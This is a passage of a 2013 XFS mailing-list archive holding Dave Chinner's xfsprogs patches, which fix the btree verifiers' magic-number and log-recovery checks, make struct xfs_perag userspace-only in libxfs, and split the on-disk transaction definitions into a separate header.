b/libxfs/xfs_alloc_btree.c index 1ee1f48..282a320 100644 --- a/libxfs/xfs_alloc_btree.c +++ b/libxfs/xfs_alloc_btree.c @@ -268,10 +268,15 @@ xfs_allocbt_verify( * During growfs operations, we can't verify the exact level or owner as * the perag is not fully initialised and hence not attached to the * buffer. In this case, check against the maximum tree depth. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agf information will not yet have been initialised + * from the on disk AGF. Again, we can only check against maximum limits + * in this case. */ level = be16_to_cpu(block->bb_level); - switch (cpu_to_be32(block->bb_magic)) { - case XFS_ABTB_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_ABTB_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -282,14 +287,14 @@ xfs_allocbt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_ABTB_MAGIC: - if (pag) { + case cpu_to_be32(XFS_ABTB_MAGIC): + if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_BNOi]) return false; } else if (level >= mp->m_ag_maxlevels) return false; break; - case XFS_ABTC_CRC_MAGIC: + case cpu_to_be32(XFS_ABTC_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -300,8 +305,8 @@ xfs_allocbt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_ABTC_MAGIC: - if (pag) { + case cpu_to_be32(XFS_ABTC_MAGIC): + if (pag && pag->pagf_init) { if (level >= pag->pagf_levels[XFS_BTNUM_CNTi]) return false; } else if (level >= mp->m_ag_maxlevels) @@ -361,7 +366,7 @@ const struct xfs_buf_ops xfs_allocbt_buf_ops = { }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_allocbt_keys_inorder( struct xfs_btree_cur *cur, @@ -483,7 +488,7 @@ static const struct xfs_btree_ops xfs_allocbt_ops = { .init_ptr_from_cur = xfs_allocbt_init_ptr_from_cur, .key_diff = xfs_allocbt_key_diff, .buf_ops = &xfs_allocbt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_allocbt_keys_inorder, .recs_inorder = xfs_allocbt_recs_inorder, #endif diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index 473db4a..bf214cf 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -708,13 +708,13 @@ xfs_bmbt_verify( struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); unsigned int level; - switch (be32_to_cpu(block->bb_magic)) { - case XFS_BMAP_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_BMAP_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.l.bb_uuid, &mp->m_sb.sb_uuid)) return false; - if (block->bb_u.l.bb_blkno != cpu_to_be64(bp->b_bn)) + if (be64_to_cpu(block->bb_u.l.bb_blkno) != bp->b_bn) return false; /* * XXX: need a better way of verifying the owner here. Right now @@ -723,7 +723,7 @@ xfs_bmbt_verify( if (be64_to_cpu(block->bb_u.l.bb_owner) == 0) return false; /* fall through */ - case XFS_BMAP_MAGIC: + case cpu_to_be32(XFS_BMAP_MAGIC): break; default: return false; @@ -759,7 +759,6 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - xfs_bmbt_verify(bp); if (!(xfs_btree_lblock_verify_crc(bp) && xfs_bmbt_verify(bp))) { trace_xfs_btree_corrupt(bp, _RET_IP_); @@ -767,7 +766,6 @@ xfs_bmbt_read_verify( bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); } - } static void @@ -791,7 +789,7 @@ const struct xfs_buf_ops xfs_bmbt_buf_ops = { }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_bmbt_keys_inorder( struct xfs_btree_cur *cur, @@ -920,7 +918,7 @@ static const struct xfs_btree_ops xfs_bmbt_ops = { .init_ptr_from_cur = xfs_bmbt_init_ptr_from_cur, .key_diff = xfs_bmbt_key_diff, .buf_ops = &xfs_bmbt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_bmbt_keys_inorder, .recs_inorder = xfs_bmbt_recs_inorder, #endif diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index ee036bf..27a5dd9 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -175,9 +175,15 @@ xfs_inobt_verify( /* * During growfs operations, we can't verify the exact owner as the * perag is not fully initialised and hence not attached to the buffer. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agi information will not yet have been initialised + * from the on disk AGI. We don't currently use any of this information, + * but beware of the landmine (i.e. need to check pag->pagi_init) if we + * ever do. */ - switch (be32_to_cpu(block->bb_magic)) { - case XFS_IBT_CRC_MAGIC: + switch (block->bb_magic) { + case cpu_to_be32(XFS_IBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -188,7 +194,7 @@ xfs_inobt_verify( be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) return false; /* fall through */ - case XFS_IBT_MAGIC: + case cpu_to_be32(XFS_IBT_MAGIC): break; default: return 0; @@ -246,7 +252,7 @@ const struct xfs_buf_ops xfs_inobt_buf_ops = { .verify_write = xfs_inobt_write_verify, }; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) STATIC int xfs_inobt_keys_inorder( struct xfs_btree_cur *cur, @@ -350,7 +356,7 @@ static const struct xfs_btree_ops xfs_inobt_ops = { .init_ptr_from_cur = xfs_inobt_init_ptr_from_cur, .key_diff = xfs_inobt_key_diff, .buf_ops = &xfs_inobt_buf_ops, -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) .keys_inorder = xfs_inobt_keys_inorder, .recs_inorder = xfs_inobt_recs_inorder, #endif -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 52ECC8018 for ; Fri, 19 Jul 2013 01:45:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33EBC30404E for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9UiV4CM32AcdSCfL for ; Thu, 18 Jul 2013 23:45:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JZ-Dg for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002MG-CW for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 40/49] xfs: make struct xfs_perag kernel only Date: Fri, 19 Jul 2013 16:45:15 +1000 X-ASG-Orig-Subj: [PATCH 40/49] xfs: make struct xfs_perag kernel only Message-Id: <1374216324-8781-41-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216336 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The struct xfs_perag has many kernel-only definitions in it, requiring a __KERNEL__ guard so userspace can use it to. Move it to xfs_mount.h so that it it kernel-only, and let userspace redefine it's own version of the structure containing only what it needs. This gets rid of another __KERNEL__ check in the XFS header files. Signed-off-by: Dave Chinner --- include/libxfs.h | 31 +++++++++++++++++++++++++++++++ include/xfs_ag.h | 53 ----------------------------------------------------- 2 files changed, 31 insertions(+), 53 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index d3b3f02..03caf9c 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -218,6 +218,37 @@ typedef struct xfs_mount { xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ } xfs_mount_t; +/* + * Per-ag incore structure, copies of information in agf and agi, + * to improve the performance of allocation group selection. + */ +typedef struct xfs_perag { + struct xfs_mount *pag_mount; /* owner filesystem */ + xfs_agnumber_t pag_agno; /* AG this structure belongs to */ + atomic_t pag_ref; /* perag reference count */ + char pagf_init; /* this agf's entry is initialized */ + char pagi_init; /* this agi's entry is initialized */ + char pagf_metadata; /* the agf is preferred to be metadata */ + char pagi_inodeok; /* The agi is ok for inodes */ + __uint8_t pagf_levels[XFS_BTNUM_AGF]; + /* # of levels in bno & cnt btree */ + __uint32_t pagf_flcount; /* count of blocks in freelist */ + xfs_extlen_t pagf_freeblks; /* total free blocks */ + xfs_extlen_t pagf_longest; /* longest free space */ + __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ + xfs_agino_t pagi_freecount; /* number of free inodes */ + xfs_agino_t pagi_count; /* number of allocated inodes */ + + /* + * Inode allocation search lookup optimisation. + * If the pagino matches, the search for new inodes + * doesn't need to search the near ones again straight away + */ + xfs_agino_t pagl_pagino; + xfs_agino_t pagl_leftrec; + xfs_agino_t pagl_rightrec; + int pagb_count; /* pagb slots in use */ +} xfs_perag_t; #define LIBXFS_MOUNT_ROOTINOS 0x0001 #define LIBXFS_MOUNT_DEBUGGER 0x0002 diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 317aa86..1cb740a 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -227,59 +227,6 @@ typedef struct xfs_agfl { } xfs_agfl_t; /* - * Per-ag incore structure, copies of information in agf and agi, - * to improve the performance of allocation group selection. - */ -#define XFS_PAGB_NUM_SLOTS 128 - -typedef struct xfs_perag { - struct xfs_mount *pag_mount; /* owner filesystem */ - xfs_agnumber_t pag_agno; /* AG this structure belongs to */ - atomic_t pag_ref; /* perag reference count */ - char pagf_init; /* this agf's entry is initialized */ - char pagi_init; /* this agi's entry is initialized */ - char pagf_metadata; /* the agf is preferred to be metadata */ - char pagi_inodeok; /* The agi is ok for inodes */ - __uint8_t pagf_levels[XFS_BTNUM_AGF]; - /* # of levels in bno & cnt btree */ - __uint32_t pagf_flcount; /* count of blocks in freelist */ - xfs_extlen_t pagf_freeblks; /* total free blocks */ - xfs_extlen_t pagf_longest; /* longest free space */ - __uint32_t pagf_btreeblks; /* # of blocks held in AGF btrees */ - xfs_agino_t pagi_freecount; /* number of free inodes */ - xfs_agino_t pagi_count; /* number of allocated inodes */ - - /* - * Inode allocation search lookup optimisation. - * If the pagino matches, the search for new inodes - * doesn't need to search the near ones again straight away - */ - xfs_agino_t pagl_pagino; - xfs_agino_t pagl_leftrec; - xfs_agino_t pagl_rightrec; -#ifdef __KERNEL__ - spinlock_t pagb_lock; /* lock for pagb_tree */ - struct rb_root pagb_tree; /* ordered tree of busy extents */ - - atomic_t pagf_fstrms; /* # of filestreams active in this AG */ - - spinlock_t pag_ici_lock; /* incore inode cache lock */ - struct radix_tree_root pag_ici_root; /* incore inode cache root */ - int pag_ici_reclaimable; /* reclaimable inodes */ - struct mutex pag_ici_reclaim_lock; /* serialisation point */ - unsigned long pag_ici_reclaim_cursor; /* reclaim restart point */ - - /* buffer cache index */ - spinlock_t pag_buf_lock; /* lock for pag_buf_tree */ - struct rb_root pag_buf_tree; /* ordered tree of active buffers */ - - /* for rcu-safe freeing */ - struct rcu_head rcu_head; -#endif - int pagb_count; /* pagb slots in use */ -} xfs_perag_t; - -/* * tags for inode radix tree */ #define XFS_ICI_NO_TAG (-1) /* special flag for an untagged lookup -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UPPERCASE_50_75 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6E75F8026 for ; Fri, 19 Jul 2013 01:45:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5DE728F8033 for ; Thu, 18 Jul 2013 23:45:38 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wBMXe8EOI1o8ayDK for ; Thu, 18 Jul 2013 23:45:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Ii-0F for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Ko-VI for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 22/49] xfs: split out on-disk transaction definitions Date: Fri, 19 Jul 2013 16:44:57 +1000 X-ASG-Orig-Subj: [PATCH 22/49] xfs: split out on-disk transaction definitions Message-Id: <1374216324-8781-23-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216335 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.49 X-Barracuda-Spam-Status: No, SCORE=0.49 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase From: Dave Chinner There's a bunch of definitions in xfs_trans.h that define on-disk formats - transaction headers taht get written into the log, log item type definitions, etc. Split out everything into a separate file so that all which remains in xfs_trans.h are kernel only definitions. Signed-off-by: Dave Chinner --- include/xfs_log_format.h | 141 +++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_trans.h | 139 ---------------------------------------------- 2 files changed, 141 insertions(+), 139 deletions(-) diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 02639c7..bcd1c34 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -187,6 +187,147 @@ typedef struct xfs_log_iovec { /* + * Transaction Header definitions. + * + * This is the structure written in the log at the head of every transaction. It + * identifies the type and id of the transaction, and contains the number of + * items logged by the transaction so we know how many to expect during + * recovery. + * + * Do not change the below structure without redoing the code in + * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). + */ +typedef struct xfs_trans_header { + uint th_magic; /* magic number */ + uint th_type; /* transaction type */ + __int32_t th_tid; /* transaction id (unused) */ + uint th_num_items; /* num items logged by trans */ +} xfs_trans_header_t; + +#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ + +/* + * Log item types. + */ +#define XFS_LI_EFI 0x1236 +#define XFS_LI_EFD 0x1237 +#define XFS_LI_IUNLINK 0x1238 +#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ +#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ +#define XFS_LI_DQUOT 0x123d +#define XFS_LI_QUOTAOFF 0x123e +#define XFS_LI_ICREATE 0x123f + +#define XFS_LI_TYPE_DESC \ + { XFS_LI_EFI, "XFS_LI_EFI" }, \ + { XFS_LI_EFD, "XFS_LI_EFD" }, \ + { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ + { XFS_LI_INODE, "XFS_LI_INODE" }, \ + { XFS_LI_BUF, "XFS_LI_BUF" }, \ + { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ + { XFS_LI_ICREATE, "XFS_LI_ICREATE" } + +/* + * Transaction types. Used to distinguish types of buffers. + */ +#define XFS_TRANS_SETATTR_NOT_SIZE 1 +#define XFS_TRANS_SETATTR_SIZE 2 +#define XFS_TRANS_INACTIVE 3 +#define XFS_TRANS_CREATE 4 +#define XFS_TRANS_CREATE_TRUNC 5 +#define XFS_TRANS_TRUNCATE_FILE 6 +#define XFS_TRANS_REMOVE 7 +#define XFS_TRANS_LINK 8 +#define XFS_TRANS_RENAME 9 +#define XFS_TRANS_MKDIR 10 +#define XFS_TRANS_RMDIR 11 +#define XFS_TRANS_SYMLINK 12 +#define XFS_TRANS_SET_DMATTRS 13 +#define XFS_TRANS_GROWFS 14 +#define XFS_TRANS_STRAT_WRITE 15 +#define XFS_TRANS_DIOSTRAT 16 +/* 17 was XFS_TRANS_WRITE_SYNC */ +#define XFS_TRANS_WRITEID 18 +#define XFS_TRANS_ADDAFORK 19 +#define XFS_TRANS_ATTRINVAL 20 +#define XFS_TRANS_ATRUNCATE 21 +#define XFS_TRANS_ATTR_SET 22 +#define XFS_TRANS_ATTR_RM 23 +#define XFS_TRANS_ATTR_FLAG 24 +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 +#define XFS_TRANS_QM_SBCHANGE 26 +/* + * Dummy entries since we use the transaction type to index into the + * trans_type[] in xlog_recover_print_trans_head() + */ +#define XFS_TRANS_DUMMY1 27 +#define XFS_TRANS_DUMMY2 28 +#define XFS_TRANS_QM_QUOTAOFF 29 +#define XFS_TRANS_QM_DQALLOC 30 +#define XFS_TRANS_QM_SETQLIM 31 +#define XFS_TRANS_QM_DQCLUSTER 32 +#define XFS_TRANS_QM_QINOCREATE 33 +#define XFS_TRANS_QM_QUOTAOFF_END 34 +#define XFS_TRANS_SB_UNIT 35 +#define XFS_TRANS_FSYNC_TS 36 +#define XFS_TRANS_GROWFSRT_ALLOC 37 +#define XFS_TRANS_GROWFSRT_ZERO 38 +#define XFS_TRANS_GROWFSRT_FREE 39 +#define XFS_TRANS_SWAPEXT 40 +#define XFS_TRANS_SB_COUNT 41 +#define XFS_TRANS_CHECKPOINT 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 +/* new transaction types need to be reflected in xfs_logprint(8) */ + +#define XFS_TRANS_TYPES \ + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ + { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ + { XFS_TRANS_REMOVE, "REMOVE" }, \ + { XFS_TRANS_LINK, "LINK" }, \ + { XFS_TRANS_RENAME, "RENAME" }, \ + { XFS_TRANS_MKDIR, "MKDIR" }, \ + { XFS_TRANS_RMDIR, "RMDIR" }, \ + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ + { XFS_TRANS_GROWFS, "GROWFS" }, \ + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ + { XFS_TRANS_WRITEID, "WRITEID" }, \ + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } + + + +/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the diff --git a/include/xfs_trans.h b/include/xfs_trans.h index 36a0026..f92c2de 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -21,143 +21,6 @@ struct xfs_log_item; /* - * This is the structure written in the log at the head of - * every transaction. It identifies the type and id of the - * transaction, and contains the number of items logged by - * the transaction so we know how many to expect during recovery. - * - * Do not change the below structure without redoing the code in - * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). - */ -typedef struct xfs_trans_header { - uint th_magic; /* magic number */ - uint th_type; /* transaction type */ - __int32_t th_tid; /* transaction id (unused) */ - uint th_num_items; /* num items logged by trans */ -} xfs_trans_header_t; - -#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ - -/* - * Log item types. - */ -#define XFS_LI_EFI 0x1236 -#define XFS_LI_EFD 0x1237 -#define XFS_LI_IUNLINK 0x1238 -#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ -#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ -#define XFS_LI_DQUOT 0x123d -#define XFS_LI_QUOTAOFF 0x123e -#define XFS_LI_ICREATE 0x123f - -#define XFS_LI_TYPE_DESC \ - { XFS_LI_EFI, "XFS_LI_EFI" }, \ - { XFS_LI_EFD, "XFS_LI_EFD" }, \ - { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ - { XFS_LI_INODE, "XFS_LI_INODE" }, \ - { XFS_LI_BUF, "XFS_LI_BUF" }, \ - { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ - { XFS_LI_ICREATE, "XFS_LI_ICREATE" } - -/* - * Transaction types. Used to distinguish types of buffers. - */ -#define XFS_TRANS_SETATTR_NOT_SIZE 1 -#define XFS_TRANS_SETATTR_SIZE 2 -#define XFS_TRANS_INACTIVE 3 -#define XFS_TRANS_CREATE 4 -#define XFS_TRANS_CREATE_TRUNC 5 -#define XFS_TRANS_TRUNCATE_FILE 6 -#define XFS_TRANS_REMOVE 7 -#define XFS_TRANS_LINK 8 -#define XFS_TRANS_RENAME 9 -#define XFS_TRANS_MKDIR 10 -#define XFS_TRANS_RMDIR 11 -#define XFS_TRANS_SYMLINK 12 -#define XFS_TRANS_SET_DMATTRS 13 -#define XFS_TRANS_GROWFS 14 -#define XFS_TRANS_STRAT_WRITE 15 -#define XFS_TRANS_DIOSTRAT 16 -/* 17 was XFS_TRANS_WRITE_SYNC */ -#define XFS_TRANS_WRITEID 18 -#define XFS_TRANS_ADDAFORK 19 -#define XFS_TRANS_ATTRINVAL 20 -#define XFS_TRANS_ATRUNCATE 21 -#define XFS_TRANS_ATTR_SET 22 -#define XFS_TRANS_ATTR_RM 23 -#define XFS_TRANS_ATTR_FLAG 24 -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 -#define XFS_TRANS_QM_SBCHANGE 26 -/* - * Dummy entries since we use the transaction type to index into the - * trans_type[] in xlog_recover_print_trans_head() - */ -#define XFS_TRANS_DUMMY1 27 -#define XFS_TRANS_DUMMY2 28 -#define XFS_TRANS_QM_QUOTAOFF 29 -#define XFS_TRANS_QM_DQALLOC 30 -#define XFS_TRANS_QM_SETQLIM 31 -#define XFS_TRANS_QM_DQCLUSTER 32 -#define XFS_TRANS_QM_QINOCREATE 33 -#define XFS_TRANS_QM_QUOTAOFF_END 34 -#define XFS_TRANS_SB_UNIT 35 -#define XFS_TRANS_FSYNC_TS 36 -#define XFS_TRANS_GROWFSRT_ALLOC 37 -#define XFS_TRANS_GROWFSRT_ZERO 38 -#define XFS_TRANS_GROWFSRT_FREE 39 -#define XFS_TRANS_SWAPEXT 40 -#define XFS_TRANS_SB_COUNT 41 -#define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 -/* new transaction types need to be reflected in xfs_logprint(8) */ - -#define XFS_TRANS_TYPES \ - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ - { XFS_TRANS_CREATE, "CREATE" }, \ - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ - { XFS_TRANS_REMOVE, "REMOVE" }, \ - { XFS_TRANS_LINK, "LINK" }, \ - { XFS_TRANS_RENAME, "RENAME" }, \ - { XFS_TRANS_MKDIR, "MKDIR" }, \ - { XFS_TRANS_RMDIR, "RMDIR" }, \ - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ - { XFS_TRANS_GROWFS, "GROWFS" }, \ - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ - { XFS_TRANS_WRITEID, "WRITEID" }, \ - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ 